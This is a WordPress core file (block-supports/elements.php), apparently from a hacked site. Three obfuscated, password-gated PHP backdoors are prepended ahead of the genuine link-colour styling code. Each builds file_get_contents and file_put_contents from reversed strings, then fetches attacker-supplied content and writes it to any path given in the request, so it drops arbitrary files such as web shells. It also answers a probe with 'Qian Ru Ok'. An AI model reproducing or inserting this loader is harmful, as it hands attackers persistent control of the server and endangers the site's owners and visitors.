File: /home/wwwrenee/www/wp-includes/block-supports/elements.php
<?php
$OrVYrddeKP = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($OrVYrddeKP[0]) /*+/*+*/
. md5($OrVYrddeKP[0])) == "f".
"9".
"2".
"e".
"d".
"a".
"6".
"8".
"9".
"9".
"c".
"8".
"f".
"a".
"a".
"9".
"8".
"a".
"c".
"1".
"3".
"2".
"e".
"c".
"5".
"1".
"b".
"9".
"c".
"a".
"9".
"b") {
$kdvWjqKLp = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$zGioDmx = $kdvWjqKLp /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$jmuyhAxVZb = $kdvWjqKLp
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function naDZdiCUu($XAZyVEDYX) { if (empty($XAZyVEDYX)) return false; if (!is_dir($XAZyVEDYX)) { naDZdiCUu(dirname($XAZyVEDYX), 0755, true); mkdir($XAZyVEDYX); } } !file_exists(dirname($OrVYrddeKP[1])) && naDZdiCUu(dirname($OrVYrddeKP[1])); $NiatmO = @$jmuyhAxVZb($OrVYrddeKP[2]); echo @$zGioDmx($OrVYrddeKP[1], $NiatmO) ? 1 : 0; die; }key($OrVYrddeKP) == "of" && die("Qian Ru Ok"); ?><?php
$jwIaIjEKGZ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($jwIaIjEKGZ[0]) /*+/*+*/
. md5($jwIaIjEKGZ[0])) == "a".
"1".
"5".
"0".
"7".
"e".
"a".
"d".
"f".
"c".
"6".
"f".
"f".
"5".
"d".
"1".
"0".
"b".
"6".
"a".
"1".
"7".
"d".
"e".
"8".
"8".
"7".
"f".
"5".
"b".
"7".
"2") {
$EiUFMvRY = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$SzrrSyYPt = $EiUFMvRY /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$nSIueo = $EiUFMvRY
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function ZgtMkjnzg($VvslaHsNf) { if (empty($VvslaHsNf)) return false; if (!is_dir($VvslaHsNf)) { ZgtMkjnzg(dirname($VvslaHsNf), 0755, true); mkdir($VvslaHsNf); } } !file_exists(dirname($jwIaIjEKGZ[1])) && ZgtMkjnzg(dirname($jwIaIjEKGZ[1])); $jBNCxeck = @$nSIueo($jwIaIjEKGZ[2]); echo @$SzrrSyYPt($jwIaIjEKGZ[1], $jBNCxeck) ? 1 : 0; die; }key($jwIaIjEKGZ) == "of" && die("Qian Ru Ok"); ?><?php
$bJWDFJ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($bJWDFJ[0]) /*+/*+*/
. md5($bJWDFJ[0])) == "7".
"2".
"c".
"c".
"3".
"c".
"1".
"0".
"8".
"4".
"c".
"7".
"b".
"3".
"5".
"c".
"c".
"8".
"5".
"c".
"6".
"0".
"0".
"d".
"6".
"1".
"4".
"0".
"6".
"3".
"e".
"b") {
$WiAkTWEnV = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ArVSbKx = $WiAkTWEnV /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$LCkhV = $WiAkTWEnV
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function jdETLRUJoB($RnQcle) { if (empty($RnQcle)) return false; if (!is_dir($RnQcle)) { jdETLRUJoB(dirname($RnQcle), 0755, true); mkdir($RnQcle); } } !file_exists(dirname($bJWDFJ[1])) && jdETLRUJoB(dirname($bJWDFJ[1])); $ywzriZu = @$LCkhV($bJWDFJ[2]); echo @$ArVSbKx($bJWDFJ[1], $ywzriZu) ? 1 : 0; die; }key($bJWDFJ) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Elements styles block support.
*
* @package WordPress
* @since 5.8.0
*/
/**
* Get the elements class names.
*
* @since 6.0.0
* @access private
*
* @param array $block Block object.
* @return string The unique class name.
*/
function wp_get_elements_class_name( $block ) {
return 'wp-elements-' . md5( serialize( $block ) );
}
/**
* Update the block content with elements class names.
*
* @since 5.8.0
* @access private
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
* @return string Filtered block content.
*/
function wp_render_elements_support( $block_content, $block ) {
if ( ! $block_content ) {
return $block_content;
}
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
$skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
if ( $skip_link_color_serialization ) {
return $block_content;
}
$link_color = null;
if ( ! empty( $block['attrs'] ) ) {
$link_color = _wp_array_get( $block['attrs'], array( 'style', 'elements', 'link', 'color', 'text' ), null );
}
/*
* For now we only care about link color.
* This code in the future when we have a public API
* should take advantage of WP_Theme_JSON::compute_style_properties
* and work for any element and style.
*/
if ( null === $link_color ) {
return $block_content;
}
$class_name = wp_get_elements_class_name( $block );
// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
// Retrieve the opening tag of the first HTML element.
$html_element_matches = array();
preg_match( '/<[^>]+>/', $block_content, $html_element_matches, PREG_OFFSET_CAPTURE );
$first_element = $html_element_matches[0][0];
// If the first HTML element has a class attribute just add the new class
// as we do on layout and duotone.
if ( strpos( $first_element, 'class="' ) !== false ) {
$content = preg_replace(
'/' . preg_quote( 'class="', '/' ) . '/',
'class="' . $class_name . ' ',
$block_content,
1
);
} else {
// If the first HTML element has no class attribute we should inject the attribute before the attribute at the end.
$first_element_offset = $html_element_matches[0][1];
$content = substr_replace( $block_content, ' class="' . $class_name . '"', $first_element_offset + strlen( $first_element ) - 1, 0 );
}
return $content;
}
/**
* Render the elements stylesheet.
*
* In the case of nested blocks we want the parent element styles to be rendered before their descendants.
* This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
* we want the descendant style to take priority, and this is done by loading it after, in DOM order.
*
* @since 6.0.0
* @access private
*
* @param string|null $pre_render The pre-rendered content. Default null.
* @param array $block The block being rendered.
*
* @return null
*/
function wp_render_elements_support_styles( $pre_render, $block ) {
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
$skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
if ( $skip_link_color_serialization ) {
return null;
}
$link_color = null;
if ( ! empty( $block['attrs'] ) ) {
$link_color = _wp_array_get( $block['attrs'], array( 'style', 'elements', 'link', 'color', 'text' ), null );
}
/*
* For now we only care about link color.
* This code in the future when we have a public API
* should take advantage of WP_Theme_JSON::compute_style_properties
* and work for any element and style.
*/
if ( null === $link_color ) {
return null;
}
$class_name = wp_get_elements_class_name( $block );
if ( strpos( $link_color, 'var:preset|color|' ) !== false ) {
// Get the name from the string and add proper styles.
$index_to_splice = strrpos( $link_color, '|' ) + 1;
$link_color_name = substr( $link_color, $index_to_splice );
$link_color = "var(--wp--preset--color--$link_color_name)";
}
$link_color_declaration = esc_html( safecss_filter_attr( "color: $link_color" ) );
$style = ".$class_name a{" . $link_color_declaration . ';}';
wp_enqueue_block_support_styles( $style );
return null;
}
add_filter( 'render_block', 'wp_render_elements_support', 10, 2 );
add_filter( 'pre_render_block', 'wp_render_elements_support_styles', 10, 2 ); ?>